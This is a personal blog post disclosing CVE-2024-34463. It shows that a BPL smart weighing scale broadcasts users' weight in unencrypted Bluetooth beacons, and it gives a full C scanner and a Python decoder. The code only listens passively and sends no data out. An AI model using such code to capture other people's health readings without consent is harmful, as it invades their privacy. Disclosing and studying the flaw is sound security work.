Here is how a random Sunday thought turned into a CVE

Yash Chandna
4 min readSep 2, 2024

--

One Sunday morning, I stepped onto my digital weighing scale as usual, and found something really interesting. My phone received the weight data instantly, yet there was no obvious connection process. On a usual day, this may seem pretty pointless but when you think about how it actually works, you’ll uncover some interesting findings. And that’s what I did.

My goal was simple: capture the signal being sent from the scale to my phone.

I fired up my Bluetooth sniffer and started monitoring the packets.

What I found was odd. Instead of connecting directly, the scale was broadcasting a Bluetooth beacon. After running a few tests, I noticed that only a small part of the beacon changed when different people used the scale. This tiny change seemed important, so I decided to investigate further.

I tracked down the APK for the scale’s app and began reverse-engineering the code. After some searching, I found a snippet of code responsible for decoding the weight data.

Now all I needed was a way to scan for the beacon in real-time, so I wrote a small C program to do just that. You can compile it using this command. Just make sure libbluetooth-dev is installed first:

cc scanner.c -o scanner -lbluetooth
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <time.h>
int device;
struct hci_request ble_hci_request(uint16_t ocf, int clen, void * status, void * cparam)
{
struct hci_request rq;
memset(&rq, 0, sizeof(rq));
rq.ogf = OGF_LE_CTL;
rq.ocf = ocf;
rq.cparam = cparam;
rq.clen = clen;
rq.rparam = status;
rq.rlen = 1;
return rq;
}
void exit_clean()
{
int ret, status;
le_set_scan_enable_cp scan_cp;
memset(&scan_cp, 0, sizeof(scan_cp));
scan_cp.enable = 0x00;
struct hci_request disable_adv_rq = ble_hci_request(OCF_LE_SET_SCAN_ENABLE, LE_SET_SCAN_ENABLE_CP_SIZE, &status, &scan_cp);
ret = hci_send_req(device, &disable_adv_rq, 1000);
if ( ret < 0 )
perror("Failed to disable scan.");
hci_close_dev(device);
exit( 0 );
}
void signal_handler( int s )
{
exit_clean();
}
int main()
{
int ret, status;
device = hci_open_dev(1);
if ( device < 0 ) {
device = hci_open_dev(0);
if (device >= 0) {
}
}
else {
printf("Using hci1\n");
}
if ( device < 0 ) {
perror("Failed to open HCI device.");
return 0;
}
le_set_scan_parameters_cp scan_params_cp;
memset(&scan_params_cp, 0, sizeof(scan_params_cp));
scan_params_cp.type = 0x00;
scan_params_cp.interval = htobs(0x0010);
scan_params_cp.window = htobs(0x0010);
scan_params_cp.own_bdaddr_type = 0x00;
scan_params_cp.filter = 0x00;
struct hci_request scan_params_rq = ble_hci_request(OCF_LE_SET_SCAN_PARAMETERS, LE_SET_SCAN_PARAMETERS_CP_SIZE, &status, &scan_params_cp);
ret = hci_send_req(device, &scan_params_rq, 1000);
if ( ret < 0 ) {
hci_close_dev(device);
perror("Failed to set scan parameters data.");
return 0;
}
le_set_event_mask_cp event_mask_cp;
memset(&event_mask_cp, 0, sizeof(le_set_event_mask_cp));
int i = 0;
for ( i = 0 ; i < 8 ; i++ ) event_mask_cp.mask[i] = 0xFF;
struct hci_request set_mask_rq = ble_hci_request(OCF_LE_SET_EVENT_MASK, LE_SET_EVENT_MASK_CP_SIZE, &status, &event_mask_cp);
ret = hci_send_req(device, &set_mask_rq, 1000);
if ( ret < 0 ) {
hci_close_dev(device);
perror("Failed to set event mask.");
return 0;
}
le_set_scan_enable_cp scan_cp;
memset(&scan_cp, 0, sizeof(scan_cp));
scan_cp.enable = 0x01;
scan_cp.filter_dup = 0x00;
struct hci_request enable_adv_rq = ble_hci_request(OCF_LE_SET_SCAN_ENABLE, LE_SET_SCAN_ENABLE_CP_SIZE, &status, &scan_cp);
ret = hci_send_req(device, &enable_adv_rq, 1000);
if ( ret < 0 ) {
hci_close_dev(device);
perror("Failed to enable scan.");
return 0;
}
struct hci_filter nf;
hci_filter_clear(&nf);
hci_filter_set_ptype(HCI_EVENT_PKT, &nf);
hci_filter_set_event(EVT_LE_META_EVENT, &nf);
if ( setsockopt(device, SOL_HCI, HCI_FILTER, &nf, sizeof(nf)) < 0 ) {
hci_close_dev(device);
perror("Could not set socket options\n");
return 0;
}
uint8_t buf[HCI_MAX_EVENT_SIZE];
evt_le_meta_event * meta_event;
le_advertising_info * info;
int len;
int count = 0;
const int timeout = 10;
const int reset_timeout = 0;
const int max_count = 1000;
if ( signal( SIGALRM, signal_handler ) == SIG_ERR )
{
hci_close_dev(device);
perror( "Could not install signal handler\n" );
return 0;
}
if ( timeout > 0 )
alarm( timeout );
sigset_t sigalrm_set;
sigemptyset ( &sigalrm_set );
sigaddset ( &sigalrm_set, SIGALRM );
if ( sigprocmask( SIG_UNBLOCK, &sigalrm_set, NULL ) != 0 )
{
hci_close_dev(device);
perror( "Could not unblock alarm signal" );
return 0;
}
while ( count < max_count || max_count <= 0 )
{
len = read(device, buf, sizeof(buf));
if ( len >= HCI_EVENT_HDR_SIZE )
{
meta_event = (evt_le_meta_event*)(buf+HCI_EVENT_HDR_SIZE+1);
if ( meta_event->subevent == EVT_LE_ADVERTISING_REPORT )
{
count++;
if ( reset_timeout != 0 && timeout > 0 )
alarm( timeout );
uint8_t reports_count = meta_event->data[0];
void * offset = meta_event->data + 1;
while ( reports_count-- )
{
info = (le_advertising_info *)offset;
char addr[18];
ba2str( &(info->bdaddr), addr);
printf("%s %d", addr, (int8_t)info->data[info->length]);
for (int i = 0; i < info->length; i++)
printf(" %02X", (unsigned char)info->data[i]);
printf("\n");
offset = info->data + info->length + 2;
}
}
}
}
if ( sigprocmask( SIG_BLOCK, &sigalrm_set, NULL ) != 0 )
{
hci_close_dev(device);
perror( "Could not block alarm signal" );
return 0;
}
exit_clean();
return 0;
}

Having set up the scanner I created a custom python script to extract the weight from the beacons:

import subprocess

def getData(index1, index2, byteArray):
mask = 0xFF
d = ((byteArray[index1] & mask) << 8) + (byteArray[index2] & mask)
return d / 10.0

def getWeight(byteArray):
return getData(4, 5, byteArray)

def getTemp(byteArray):
return getData(2, 3, byteArray)

def parse_line(line):
parts = line.split(' ')
hex_data = ''.join(parts[2:])
if len(hex_data)==34 and hex_data.startswith('10FF'):
byte_array = bytes.fromhex(hex_data)
weight = getWeight(byte_array)
print(f"Weight: {weight}")
def run_c_executable(path_to_executable):
process = subprocess.Popen([path_to_executable], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
print("Keeping scan open")
run_c_executable(path_to_executable)
if output:
parse_line(output.strip())

if __name__ == "__main__":
path_to_executable = "./scanner" # Update this to your executable's path
run_c_executable(path_to_executable)

With everything set up, I tested the system. Now, whenever I stepped on the scale, my laptop decoded and displayed the weight instantly — no app needed. It was fascinating to see how much data is out there, just waiting to be discovered.

Watch how I cracked the code behind my digital weighing scale and turned raw signals into real data — no app needed!

Script Usage

If you’re interested, you can find the code on GitHub:

And that’s the story of how a simple question turned into an exciting project leading to CVE-2024–34463, all from a casual moment with my weighing scale. Sometimes, curiosity leads to the most unexpected discoveries.

Affected Product:BPL Smart Weighing Scale PWS-01-BT (https://www.bplmedicaltechnologies.com/product-details/weighing-scales/personal-weighing-scale-pws-01bt/)

Vulnerability: Insufficient security in the Bluetooth communication between the digital weighing scale and the associated app(https://bpl-bewell.en.aptoide.com/app)

--

--